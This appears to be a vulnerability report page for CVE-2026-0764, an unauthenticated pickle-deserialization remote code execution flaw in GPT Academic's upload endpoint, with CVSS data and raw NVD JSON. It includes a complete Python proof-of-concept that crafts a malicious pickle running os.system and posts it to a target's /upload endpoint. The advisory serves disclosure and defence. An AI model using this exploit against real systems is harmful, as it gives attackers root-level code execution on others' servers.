Security Vulnerability Report
中文
CVE-2026-0764 CVSS 9.8 CRITICAL

CVE-2026-0764

Published: 2026-01-23 04:16:03
Last Modified: 2026-02-18 16:42:46

Description

GPT Academic upload Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GPT Academic. Authentication is not required to exploit this vulnerability. The specific flaw exists within the upload endpoint. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27957.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:binary-husky:gpt_academic:3.91:*:*:*:*:*:*:* - VULNERABLE
GPT Academic 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-0764 PoC - GPT Academic Untrusted Deserialization RCE # This PoC demonstrates the deserialization vulnerability in GPT Academic's upload endpoint import pickle import requests import sys import base64 class Exploit: def __reduce__(self): # This will execute arbitrary command when deserialized # Replace 'whoami' with any command you want to execute import os return (os.system, ('whoami',)) def generate_payload(): """Generate malicious pickle payload""" exploit = Exploit() pickled = pickle.dumps(exploit) return base64.b64encode(pickled).decode() def send_exploit(target_url, payload): """Send the exploit to the vulnerable endpoint""" # Typical GPT Academic upload endpoint upload_url = f"{target_url}/upload" if not target_url.endswith('/upload') else target_url # Prepare the malicious payload files = { 'file': ('exploit.pkl', payload, 'application/octet-stream') } try: response = requests.post(upload_url, files=files, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://target:5000") sys.exit(1) target = sys.argv[1] print(f"[*] Generating payload for CVE-2026-0764...") payload = generate_payload() print(f"[*] Payload generated: {payload[:50]}...") print(f"[*] Sending exploit to {target}...") status, response = send_exploit(target, payload) if status: print(f"[*] Response status: {status}") print(f"[*] Response: {response}") else: print(f"[!] Error: {response}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0764", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:03.250", "lastModified": "2026-02-18T16:42:46.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GPT Academic upload Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GPT Academic. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the upload endpoint. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27957."}, {"lang": "es", "value": "Vulnerabilidad de Ejecución Remota de Código por Deserialización de Datos No Confiables en la carga de GPT Academic. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de GPT Academic. No se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro del endpoint de carga. El problema resulta de la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en la deserialización de datos no confiables. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de root. Fue ZDI-CAN-27957."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:binary-husky:gpt_academic:3.91:*:*:*:*:*:*:*", "matchCriteriaId": "E6552037-FD85-48BB-A474-C85A10783308"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-030/", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}]}}